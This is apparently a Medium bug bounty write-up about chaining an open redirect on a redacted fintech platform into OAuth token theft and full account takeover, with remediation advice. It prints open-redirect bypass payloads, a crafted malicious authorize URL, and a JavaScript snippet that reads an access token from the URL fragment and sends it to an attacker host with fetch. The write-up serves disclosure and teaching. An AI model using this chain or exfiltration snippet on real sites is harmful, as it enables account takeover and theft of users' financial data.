๐ด They Closed It as N/A. Then They Silently Patched It. Hereโs The Full Story.
A Critical P1 Bug Chain on a Fintech Platform โ Open Redirect โ OAuth Token Theft โ Full Account Takeover | Intigriti Disclosure
๐ด They Closed It as N/A. Then They Silently Patched It. Hereโs The Full Story.
A Critical P1 Bug Chain on a Fintech Platform โ Open Redirect โ OAuth Token Theft โ Full Account Takeover | Intigriti Disclosure
โThe report is closed as Not Applicable.โ* That was the message I got after submitting a bug that could hand an attacker full authenticated access to any userโs financial account โ without knowing their password, without any phishing interaction beyond one click, and without triggering a single MFA prompt.**
Two weeks later, the vulnerability was patched. No bounty. No acknowledgment. No thank you.
So Iโm writing this instead.
๐ค About Me
Iโm R!5hu (rishuxr00t) โ a cybersecurity researcher based in Kolkata, India. I specialize in authentication-layer vulnerabilities โ Pre-ATO, OAuth flaws, token abuse, and account takeover chains. I hunt actively on Intigriti, HackerOne, Bugcrowd, and YesWeHack.
This writeup is about a P1 Critical bug chain I found on a fintech/payments platform in scope on Intigriti. Iโm redacting the target name as [REDACTED TARGET] out of responsible disclosure ethics โ even though they gave me nothing in return.
๐ง Understanding The Bug Chain First
Before we get into the technical steps, hereโs the attack chain at a high level:
[Attacker crafts malicious URL]
โ
[Victim clicks โ trusts the domain, it's the real site]
โ
[Open Redirect fires โ victim lands on attacker.com]
โ
[OAuth access_token / id_token leaked in URL fragment]
โ
[Attacker steals token via referrer or fragment harvesting]
โ
[Attacker authenticates as victim โ full account takeover]
โ
[Financial data, saved cards, transaction history โ all exposed]
One click. No password. No MFA bypass needed. Full ATO.
This is why Open Redirect vulnerabilities on OAuth-enabled applications are never โjust informational.โ Context is everything.
๐ Phase 1 โ Recon & Initial Discovery
Target Overview
[REDACTED TARGET] is a fintech platform operating in the payments/digital wallet space. Their web application supports OAuth 2.0 login via third-party identity providers (Google, Apple). The OAuth flow uses the standard redirect_uri parameter to return users post-authentication.
Fingerprinting The OAuth Flow
I started by mapping the authentication surface using Burp Suite. My goal was simple: follow every redirect, log every parameter, find anywhere the application trusts a URL without validating it.
During a standard OAuth login, I captured this request:
http
GET /oauth/authorize?
client_id=app_client_xyz
&redirect_uri=https://[REDACTED TARGET].com/auth/callback
&response_type=token
&scope=openid profile email
&state=abc123randomstate
Host: auth.[REDACTED TARGET].com
Normal. Expected. But then I noticed something while browsing the app post-login:
http
GET /redirect?url=https://[REDACTED TARGET].com/dashboard
Host: [REDACTED TARGET].com
A generic redirect endpoint. My eyes lit up.
๐ช Phase 2 โ Finding & Confirming The Open Redirect
Testing The Redirect Endpoint
I intercepted the request and modified the url parameter:
http
GET /redirect?url=https://evil.r1shu.com
Host: [REDACTED TARGET].com
Response:
http
HTTP/1.1 302 Found
Location: https://evil.r1shu.com
โ Confirmed Open Redirect. The server performs zero validation on the destination URL. It doesnโt check origin, doesnโt enforce allowlisting, doesnโt validate against a whitelist of trusted domains.
Bypass Attempts (To Confirm Robustness)
I tested various bypass techniques to confirm this wasnโt a shallow finding:
PayloadResult?url=https://evil.r1shu.comโ
Redirected?url=//evil.r1shu.comโ
Redirected?url=https://[REDACTED TARGET].com.evil.r1shu.comโ
Redirected?url=https://evil.r1shu.com%2F%2E%2Eโ
Redirected?url=%68%74%74%70%73%3a%2f%2fevil.r1shu.comโ
Redirected (URL-encoded)
All payloads redirected without error. No filtering. No allowlist. No domain matching.
At this point, a standard triage might call this โLow severity / Informationalโ and close it. Thatโs exactly what happened. But I wasnโt done.
โ๏ธ Phase 3 โ Chaining Into Token Theft (The Critical Escalation)
The Key Insight
The /redirect endpoint exists on the same root domain as the OAuth callback:
- OAuth callback:
https://[REDACTED TARGET].com/auth/callback - Redirect endpoint:
https://[REDACTED TARGET].com/redirect?url=...
This means /redirect?url=... passes the redirect_uri validation check in the OAuth authorization server โ because it's still [REDACTED TARGET].com.
Crafting The Malicious OAuth URL
I replaced the legitimate redirect_uri with my weaponized redirect endpoint:
http
GET /oauth/authorize?
client_id=app_client_xyz
&redirect_uri=https://[REDACTED TARGET].com/redirect?url=https://evil.r1shu.com
&response_type=token
&scope=openid profile email
&state=attacker_controlled_state
Host: auth.[REDACTED TARGET].com
What happens when a victim clicks this link:
- Victim authenticates via OAuth (they see the legitimate login page โ no red flags)
- OAuth server validates
redirect_uriโ sees[REDACTED TARGET].comโ โ passes - OAuth server issues
access_tokenand redirects to:
https://[REDACTED TARGET].com/redirect?url=https://evil.r1shu.com#access_token=eyJhbGc...&token_type=bearer&expires_in=3600
- The
/redirectendpoint fires, sending the victim (and the full URL fragment containing the token) to[https://evil.r1shu.com](https://evil.r1shu.com) - My attacker server captures the token from the URL fragment via JavaScript:
javascript
const fragment = window.location.hash;
const token = new URLSearchParams(fragment.substring(1)).get('access_token');
fetch('https://evil.r1shu.com/steal?token=' + token);
Token Usage โ Authenticated as Victim
With the stolen access_token, I sent a request to the platform's API:
http
GET /api/v1/me
Host: api.[REDACTED TARGET].com
Authorization: Bearer eyJhbGc...
Response:
json
{
"id": "usr_victim_123",
"email": "victim@example.com",
"full_name": "Jane Victim",
"account_balance": "XXXX.XX",
"saved_cards": [...],
"kyc_status": "verified",
"transactions": [...]
}
โ Full account access. No password. No MFA. One click.
๐ฃ Phase 4 โ Full Impact Assessment
What An Attacker Can Do With This
ActionImpactRead full financial profileP1 โ PII + financial data exposureAccess saved payment methodsP1 โ Card data, billing addressesView transaction historyP1 โ Full financial surveillanceInitiate transfers (if write scope included)P1 โ Direct financial lossBypass MFA entirelyP1 โ Auth control circumventedMass exploitation via phishing campaignCritical โ Scalable to thousands of users
CVSS Score (My Assessment)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Base Score: 9.3 โ CRITICAL
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (one click)
- Scope: Changed
- Confidentiality: High
- Integrity: High
๐ Phase 5 โ The Report
What I Submitted
I submitted a detailed report to [REDACTED TARGET] via Intigriti containing:
- โ Full vulnerability description with technical breakdown
- โ Step-by-step reproduction instructions
- โ Proof-of-Concept video walkthrough
- โ Screenshots of every step (crafted URL โ OAuth flow โ redirect โ token capture โ authenticated API call)
- โ CVSS score with justification
- โ Impact analysis
- โ Recommended remediation
The Response
Status: Closed โ Not Applicable
Reason: "Open Redirect issues are considered out of scope for our program."
Thatโs it. No engagement with the token theft chain. No acknowledgment of the OAuth impact. They assessed it as a standalone Open Redirect and applied a blanket โout of scopeโ rule.
The chain โ the critical part โ was never addressed in their response.
Two Weeks Later
I checked the application. The /redirect endpoint now validates the destination URL against an allowlist. The OAuth redirect_uri validation was also tightened.
The bug was patched. Silently. Without any acknowledgment.
๐ก๏ธ Phase 6 โ Remediation (What They Should Have Done From The Start)
Fix 1 โ Eliminate The Open Redirect
python
ALLOWED_REDIRECT_DOMAINS = ["[REDACTED TARGET].com", "app.[REDACTED TARGET].com"]
def safe_redirect(url):
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_REDIRECT_DOMAINS:
raise ValueError("Redirect to untrusted domain blocked")
return redirect(url)
Fix 2 โ Strict redirect_uri Allowlisting In OAuth
OAuth servers must validate redirect_uri against an exact-match allowlist โ not just domain-match:
โ
Allowed: https://[REDACTED TARGET].com/auth/callback
โ Should Reject: https://[REDACTED TARGET].com/redirect?url=https://evil.com
Fix 3 โ Avoid Implicit Flow (response_type=token)
The implicit flow puts tokens directly in URL fragments โ visible to browser history, referrer headers, and any redirect destination. Switch to Authorization Code Flow with PKCE:
response_type=code
code_challenge=BASE64URL(SHA256(code_verifier))
code_challenge_method=S256
Tokens are then exchanged server-side, never exposed in URLs.
Fix 4 โ Token Binding / Short Expiry
If implicit flow must be used, implement short-lived tokens (5โ10 minutes) and bind tokens to the originating IP/user-agent where possible.
๐ Lessons Learned
For Hunters
Open Redirect is never โjustโ Open Redirect when OAuth is in scope.
Before submitting a standalone Open Redirect, always ask:
- Is there an OAuth flow on this domain?
- What
response_typedoes it use? (token= implicit = URL-exposed tokens) - Can I make the
redirect_uriparameter point to my Open Redirect endpoint? - Does the OAuth server validate the full URI path, or just the domain?
If the answers line up โ you donโt have an informational bug. You have a P1.
For Programs
When a researcher submits an Open Redirect on an OAuth-enabled application โ read the full report before closing it. The chaining context changes everything. A closed report does not mean the attack surface doesnโt exist. It means the researcherโs goodwill does.
โ๏ธ A Note On The Process
I disclosed this in good faith through Intigritiโs coordinated disclosure process. I followed the rules: I did not exploit the vulnerability, I did not access real user data, I provided a complete PoC, and I waited for response before publishing.
If your programโs policy excludes Open Redirect, thatโs fine โ but if a researcher submits a chain where the Open Redirect is the delivery mechanism for a Critical impact, engage with the full finding.
Patching without acknowledgment is not responsible response. It damages researcher trust and discourages future disclosure.
๐ Connect With Me
If youโre a fellow hunter, a program manager, or just someone who enjoys following the trail of weird OAuth behaviors โ letโs connect.
- ๐ฆ HackerOne: rishuxr00t
- ๐ Bugcrowd: ri5huR00t
- ๐ Location: Kolkata, India
- ๐ฏ Specialization: Pre-ATO ยท OAuth Abuse ยท Authentication Vulnerabilities ยท Bug Chaining
Thanks for reading. If this writeup helped you understand the real-world impact of Open Redirect chaining, give it a clap ๐ โ it helps other researchers find it.
Stay ethical. Stay curious. H4PPY HUNT1NG. ๐
Tags: #BugBounty #CyberSecurity #EthicalHacking #Intigriti #OpenRedirect #OAuthSecurity #AccountTakeover #InfoSec #WebSecurity #BugBountyHunting #PenTest #ResponsibleDisclosure
๋ฉํ๋ฐ์ดํฐ
- post_id
- a8d30124c4d2
- slug
- they-closed-it-as-n-a-then-they-silently-patched-it-heres-the-full-story-a8d30124c4d2
- url
- https://medium.com/@atanupal22256/they-closed-it-as-n-a-then-they-silently-patched-it-heres-the-full-story-a8d30124c4d2
- canonical_url
- https://medium.com/@atanupal22256/they-closed-it-as-n-a-then-they-silently-patched-it-heres-the-full-story-a8d30124c4d2
- author_url
- https://medium.com/@atanupal22256
- status
- ok
- fetched_at
- 2026-08-01 08:42:06